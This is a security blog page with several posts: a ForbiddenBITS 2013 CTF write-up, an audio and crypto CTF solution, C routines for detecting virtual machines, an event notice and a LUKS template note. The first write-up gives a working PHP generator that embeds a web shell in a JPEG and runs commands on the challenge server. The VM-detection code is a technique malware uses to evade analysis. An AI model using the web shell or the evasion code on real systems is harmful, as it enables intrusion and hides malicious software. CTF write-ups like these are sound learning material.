Contenido principal

Imafreak - ForbiddenBITS 2013

Marzo 17, 2013

For this challenge, we were given a link to a website (http://192.73.237.131/) and a hint (Hint6[Freak]:~), there, we can upload and see JPEG images:

By following the hint, we can get the source code of view.php script (Using ~ to retrieve the content of the temporal file: http://192.73.237.131/view.php~).

Wild vulnerability appears in these lines:

        $filex="secretstoreddata/".md5(rand(0,100)).($camModel);
        $fp=fopen($filex, 'w');
        fwrite($fp, $dd);
        fclose($fp);

We can control $camModel variable by modifying EXIF data on the image, and $dd variable by making a JPEG that contains a shellcode in the red channel. The objetive here is to create a PHP script (camModel = .php) with custom shellcode:

<?php
// shellcode
$shell = '<?php system($_GET["c"]);die; ?>';
$width = strlen($shell);

// create image using true color
$img = imagecreatetruecolor($width, 1);
for ($x = 0; $x < $width; $x++) {
    // get ascii value of shellcode
    $value = ord($shell[$x]);
    // set a pixel using the ascii
    $color = imagecolorexact($img, $value, $value, $value);
    imagesetpixel($img, $x, 0, $color);
}

// save image using 100% quality
imagejpeg($img, 'imafreak.jpg', 100);

// add Model metadata using exiv2 tool
system('exiv2.exe -M "add Exif.Image.Model .php" imafreak.jpg');

The result of the script is this image (Right click, save target as, for better understanding):

By uploading the JPEG, we can execute commands on the server:

:arrow: List files in root folder
view-source:http://192.73.237.131/secretstoreddata/67c6a1e7ce56d3d6fa748ab6d9af3fd7.php?c=ls%20-lia%20../

total 344
7999660 drwxr-xr-x 9 root root   4096 Mar 16 13:46 .
7999659 drwxr-xr-x 6 root root   4096 Feb 15 15:35 ..
8000136 -rw-r--r-- 1 root root    164 Mar 14 21:01 confirmed.txt
7999914 drwxr-xr-x 2 root root   4096 Mar 16 07:29 css
7999917 drwxr-xr-x 6 root root   4096 Mar 16 07:30 css_pirobox
8000029 drwxr-xr-x 2 root root   4096 Mar 16 07:31 images
8000137 -rw-r--r-- 1 root root   2588 Mar 16 07:51 index.php
8000057 drwxr-xr-x 2 root root   4096 Mar 16 07:31 js
8000138 -rw-r--r-- 1 root root    741 Dec 28  2010 piecemaker.css
8000139 -rw-r--r-- 1 root root     39 Mar 14 21:13 robots.txt
8000123 drwxrwxrwx 2 root root  49152 Mar 17 23:52 secretstoreddata
8000140 -rw-r--r-- 1 root root     57 Mar 16 07:24 super_nooooo_flag_dafuq_is_this.php
8000141 -rw-r--r-- 1 root root   8153 Apr  4  2011 templatemo_style.css
8000126 drwxrwxrwx 2 root root 225280 Mar 17 23:52 upload
8000142 -rw-r--r-- 1 root root   3203 Mar 16 13:45 upload.php
8000143 -rw-r--r-- 1 root root   3464 Mar 16 12:02 view.php
8000144 -rw-r--r-- 1 root root   3589 Mar 16 12:02 view.php~
8000134 drwxr-xr-x 2 root root   4096 Mar 16 07:32 wehatebatman

:arrow: Read first flag
view-source:http://192.73.237.131/secretstoreddata/67c6a1e7ce56d3d6fa748ab6d9af3fd7.php?c=cat%20../super_nooooo_flag_dafuq_is_this.php

<?php
/*
FLAG : dafuq_is_this_shit_i_guess_its_flag
*/
?>

Unfortunately, we were unable to get the second flag, but after the competition, Phiber from Activalink, pointed us to the second flag, it was the first JPEG image uploaded using the imafreak service (http://192.73.237.131/upload/c4ca4238a0b923820dcc509a6f75849b.jpg):

Archivado en: Retos informáticos, Seguridad | Comentarios (1)

Spy Orange

Febrero 18, 2013

Two files are provided in the challenge: oranges.pdf and oranges.wav.

First one contains the text:

February 15, 1973
NATIONAL SECURITY ACTION MEMORANDUM
TO: JULIUS SCHNEIER
DIRECTOR OF CRYPTANALYSIS
NATIONAL SECURITY AGENCY
SUBJECT: RE: Spies Among Us
As per action US182.97, we have continued to
monitor the suspected foreign spies via
telephone wiretap. At 8:12AM this morning, a
call was placed from ORCHID to LILAC containing
what is believed to be a coded message.
You will find enclosed a recording of this
event on audio cassette tape. We request the
immediate analysis of this recording for hidden
meaning or message. This tasking will expire
in 48 hours, at which time OPERATION PSIFERTEX
will commence as planned.
Lt Gen Samuel C. Phillips,
United States Air Force
Director of the NSA

Second one contains a transmission using frecuency-shift keying (FSK), we can follow these steps to decode the signal:

:arrow: Download and compile MultimonNG
:arrow: Use MultimonNG with the CLIPFSK demodulator (Phiber rules!):

# ./multimonNG -t wav -c -a CLIPFSK ../oranges.wav
multimonNG  (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA
            (C) 2012 by Elias Oenal
available demodulators: POCSAG512 POCSAG1200 POCSAG2400 EAS UFSK1200 CLIPFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI SCOPE
Enabled demodulators: CLIPFSK
sox WARN dither: dither clipped 9 samples; decrease volume?
CLIPFSK: CS DATE=02102221 CID=6169405176 CNT=BIT.LY/U3MMRU

We got a phone number from United States (6169405176), and a bit.ly that points to https://2013.ghostintheshellcode.com/ececff43-60ed-4788-9831-14a4c44373b3.txt.

The file contains the text:

Lzw ywfwjsd osflk log hgsuzwv wyyk vwdanwjwv xgj tjwscxskl. Qgmj afyjwvawflk sjw wfudgkwv.

MWkVTSgSUISSSZ2fKMArR08tEySSSUQSSSSVSToSs2N5NNIBSSEv/pRJZx8OMPN4UoSTTGyVSSSW
6SESSFwbg9HYLoC+LLsBvjOXZ/4USQu7T3N56JCivIN7sNAgNEiIC7L3LghQUNZB4xEjMzrrMWkZ
UVFfLpkqSSSSBySSSXTDSIAwSogSUISSSZ2fKMArR08tEySSSUQSSSSVSTySSSSSSSWSSSU0yISS
SSTjRPdNNSMSSp3/XdX1wSkSSILgSoSSTGyVSSTIKoMYSSSSSSWSSITBSSSSxoSSSSSS

Using ROT-8 algorithm, we can retrieve the original text that contains a password protected file encoded with base64:

The general wants two poached eggs delivered for breakfast. Your ingredients are enclosed. 

UEsDBAoACQAAAH2nSUIzZ08bMgAAACYAAAADABwAa2V5VVQJAAMd/xZRHf8WUXV4CwABBOgDAAAE
6AMAANejo9PGTwK+TTaJdrWFH/4CAYc7B3V56RKqdQV7aVIoVMqQK7T3TopYCVHJ4fMrUhzzUEsH
CDNnTxsyAAAAJgAAAFBLAQIeAwoACQAAAH2nSUIzZ08bMgAAACYAAAADABgAAAAAAAEAAAC0gQAA
AABrZXlVVAUAAx3/FlF1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBJAAAAfwAAAAAA

When you called the phone (6169405176), you could hear The Lincolnshire Poacher:

Using "The Lincolnshire Poacher" as the password for the zip, we were able to get the flag:
I see all the code and I watch it run

Archivado en: Retos informáticos | Comentarios (0)

Rutinas para la detección del uso de máquinas virtuales

Enero 11, 2013

A continuación puede encontrar tres rutinas para la detección de ambientes virtualizados que hacen uso del software VMware, Oracle VM VirtualBox, Windows Virtual PC o QEMU, y cuyo enfoque es para el sistema operativo Windows. La detección es realizada buscando valores por defecto en la configuración de las tarjetas de red (dirección MAC), valores localizados en el registro, y a través de Windows Management Instrumentation (Que finalmente es traducido también en valores encontrados en el registro).

Detección a través de la dirección MAC

Se obtiene la dirección MAC de todas las tarjetas de red y se compara con prefijos predeterminados por cada software:

Fabricante Prefijo
VMware 00:05:69:xx:xx:xx
VMware 00:0C:29:xx:xx:xx
VMware 00:1C:14:xx:xx:xx
Oracle VM VirtualBox 08:00:27:xx:xx:xx
Windows Virtual PC 00:03:FF:xx:xx:xx
QEMU 52:54:00:xx:xx:xx

La rutina puede ser observada a continuación:

BOOL mac_test()
{
 unsigned char MACData[8];

 WKSTA_TRANSPORT_INFO_0 *pwkti;
 DWORD dwEntriesRead;
 DWORD dwTotalEntries;
 BYTE *pbBuffer;

 NET_API_STATUS dwStatus = NetWkstaTransportEnum(NULL, 0, &pbBuffer, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL);
 pwkti = (WKSTA_TRANSPORT_INFO_0 *)pbBuffer;

 for (DWORD i = 1; i < dwEntriesRead; i++) {
  swscanf((wchar_t *)pwkti[i].wkti0_transport_address, L"%2hx%2hx%2hx%2hx%2hx%2hx", &MACData[0], &MACData[1], &MACData[2], &MACData[3], &MACData[4], &MACData[5]);

  if ((MACData[0] ==  0 && MACData[1] ==  5 && MACData[2] == 105) || // VMware
   (MACData[0] ==  0 && MACData[1] == 12 && MACData[2] ==  41) || // VMware
   (MACData[0] ==  0 && MACData[1] == 28 && MACData[2] ==  20) || // VMware
   (MACData[0] ==  0 && MACData[1] == 80 && MACData[2] ==  86) || // VMware
   (MACData[0] ==  8 && MACData[1] ==  0 && MACData[2] ==  39) || // Oracle VM VirtualBox
   (MACData[0] ==  0 && MACData[1] ==  3 && MACData[2] == 255) || // Windows Virtual PC
   (MACData[0] == 82 && MACData[1] == 84 && MACData[2] ==   0)) { // QEMU

   dwStatus = NetApiBufferFree(pbBuffer);
   return TRUE;
  }
 }

 dwStatus = NetApiBufferFree(pbBuffer);
 return FALSE;
}

Detección a través del registro de Windows

Se obtiene el valor de la cadena "0" en la clave "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum", y se busca valores predeterminados por cada software:

Fabricante Subcadena
VMware VMware
Oracle VM VirtualBox VBOX
Windows Virtual PC DiskVirtual
Windows Virtual PC VIRTUAL
QEMU QEMU

La rutina puede ser observada a continuación:

BOOL reg_test()
{
 HKEY hKey;
    CHAR szBuffer[1024];  
    ULONG hSize = sizeof(szBuffer);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        if (RegQueryValueEx(hKey, "0", NULL, NULL, (unsigned char *)szBuffer, &hSize) == ERROR_SUCCESS) {
            if (strstr(szBuffer, "VBOX") != NULL ||
    strstr(szBuffer, "VMware") != NULL ||
    strstr(szBuffer, "DiskVirtual") != NULL ||
    strstr(szBuffer, "VIRTUAL") != NULL ||
    strstr(szBuffer, "QEMU") != NULL) {

                RegCloseKey(hKey);
                return TRUE;
   }
        }
        RegCloseKey(hKey);
    }

 return FALSE;
}

Detección a través de Windows Management Instrumentation

El procedimiento realizado es similar a los dos anteriores, se busca valores predeterminados a través del uso de WMI. Dichos valores son obtenidos a través de WQL, usando las siguientes consultas y valores predeterminados por cada software:

SELECT Version FROM Win32_BIOS

Fabricante Subcadena
Oracle VM VirtualBox VBOX
Windows Virtual PC A M I - 8000914
QEMU BOCHS

SELECT Model FROM Win32_ComputerSystem

Fabricante Subcadena
VMware VMware
Oracle VM VirtualBox VirtualBox
Windows Virtual PC Virtual Machine
QEMU Bochs

SELECT DeviceID FROM Win32_CDROMDrive

Fabricante Subcadena
Oracle VM VirtualBox VBOX
QEMU QEMU

SELECT PNPDeviceID FROM Win32_DiskDrive

Fabricante Subcadena
VMware VMware
Oracle VM VirtualBox VBOX
Windows Virtual PC DISKVIRTUAL
QEMU QEMU

SELECT Description FROM CIM_LogicalDevice

Fabricante Subcadena
VMware VMware
Oracle VM VirtualBox VirtualBox

La rutina aunque un poco más compleja pero no menos importante puede ser observada a continuación:

BOOL wmi_test()
{
 CHAR buffer[64];
 CHAR value[256];
 PSTR objects[5][6] =   {{"Win32_BIOS", "Version", "VBOX", "BOCHS", "A M I  - 8000914", NULL},
       {"Win32_ComputerSystem", "Model", "VirtualBox", "Bochs", "VMware", "Virtual Machine"},
       {"Win32_CDROMDrive", "DeviceID", "VBOX", "QEMU", NULL, NULL},
       {"Win32_DiskDrive", "PNPDeviceID", "VBOX", "QEMU", "VMware", "DISKVIRTUAL"},
       {"CIM_LogicalDevice", "Description", "VirtualBox", "VMware", NULL, NULL}};

 HRESULT hres;
    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
        return FALSE;

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
    if (FAILED(hres)) {
        CoUninitialize();
        return FALSE;
    }

    IWbemLocator *pLoc = NULL;
    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *) &pLoc);
 
    if (FAILED(hres)) {
        CoUninitialize();
        return FALSE;
    }

    IWbemServices *pSvc = NULL;
    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
    if (FAILED(hres)) {
        pLoc->Release();    
        CoUninitialize();
        return FALSE;
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
    if (FAILED(hres)) {
        pSvc->Release();
        pLoc->Release();    
        CoUninitialize();
        return FALSE;
    }

 for (int i = 0; i < 5; i++) {
  IEnumWbemClassObject* pEnumerator = NULL;
 
  memset(buffer, 0, 64);
  strcpy(buffer, "SELECT * FROM ");
  strcat(buffer, objects[i][0]);

  hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t(buffer), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
  if (FAILED(hres)) {
   pSvc->Release();
   pLoc->Release();
   CoUninitialize();
   return FALSE;
  }
 
  IWbemClassObject *pclsObj;
  ULONG uReturn = 0;
  while (pEnumerator) {
   HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

   if (0 == uReturn)
    break;

   VARIANT vtProp;

   wchar_t wcstring[256];
   mbstowcs(wcstring, objects[i][1], 256);

   hr = pclsObj->Get(wcstring, 0, &vtProp, 0, 0);
   
   memset(value, 0, 256);
   strcpy(value, _bstr_t(vtProp.bstrVal).operator char *());
   
   for (int j = 2; j < 6; j++) {
    if (objects[i][j] == NULL)
     continue;

    if (strstr(value, objects[i][j]) != NULL) {
     VariantClear(&vtProp);
     pclsObj->Release();
     pEnumerator->Release();
     pSvc->Release();
     pLoc->Release();
     CoUninitialize();

     return TRUE;
    }
   }
       
   VariantClear(&vtProp);
   pclsObj->Release();
  }

  pEnumerator->Release();
 }

    pSvc->Release();
    pLoc->Release();
    CoUninitialize();

    return FALSE;
}

Pruebas finales

Haciendo uso del anterior código y ejecutando las tres rutinas de forma consecutiva:

int main(int argc, char* argv[])
{
 printf("MAC Address Test: %d\n", mac_test());
 printf("Registry Test: %d\n", reg_test());
 printf("Wmi Test: %d\n", wmi_test());

 return 0;
}

Se obtiene el siguiente resultado (True indica detección exitosa):

Fabricante MAC Test REG Test WMI Test
VMware True True True
Oracle VM VirtualBox True True True
Windows Virtual PC True True True
QEMU True True True
Windows 7 Sin virtualizar True False True

Código fuente

El archivo comprimido contiene cuatro archivos:
:arrow: vmtest.c: Recopilación de las rutinas.
:arrow: StdAfx.cpp, StdAfx.h: Código necesario para la compilación.
:arrow: vmtest.exe: Ejecutable de prueba (Para el arriesgado).

Archivado en: Seguridad, Sistemas operativos | Comentarios (2)

BarCamp Security Edition v3.0

Noviembre 16, 2012

Este sábado primero de diciembre de 8:00 a.m. a 8:00 p.m. se estará realizando en diferentes ciudades de Colombia el evento BarCamp Security Edition, en su versión número 3. Es una buena oportunidad para compartir y conocer nuevas personas, quizás estaré por esos lados, ya que estoy pensando en dar una pequeña desconferencia sobre las diferentes experiencias con los Wargames y Capture The Flags en los cuales me he desempeñado en nuestro equipo NULL Life, a ver si me animo!

"Como objetivo principal el evento busca reunir personas y compartir experiencias alrededor del tema de seguridad informática, es por esto que durante un día se preparan conferencias, talleres, demostraciones y retos informáticos que ayudan a fortalecer los lazos entre los asistentes y por otro lado ayudan a crear consciencia sobre un tema tan importante como es el de seguridad informática en el país."

Enlaces de interés

:arrow: BarCamp Security Edition Colombia
:arrow: BarCamp en la Wikipedia

Archivado en: Miscelaneo | Comentarios (0)

Linux Unified Key Setup (LUKS) template for 010 Editor

Agosto 10, 2012

This is my first template for my favorite multipurpose editor: 010 Editor. The idea behind the template comes from a challenge of DC3 2012 ("Create a program that will perform a dictionary and/or brute force attack against the encrypted volume")

The first version of this template is able to identify the header of a disk encrypted with LUKS specification, including:
:arrow: Ciphername used in the disk encryption
:arrow: Mode of the cipher
:arrow: Hash specification
:arrow: Variables related to the password

Disk data can not be decrypted using the template.

This is a preview of the template using the file provided in the challenge:

You can download the template from here: LUKS Template

Template is also included in the 010 Editor template repository.

Archivado en: Criptografía, Seguridad | Comentarios (1)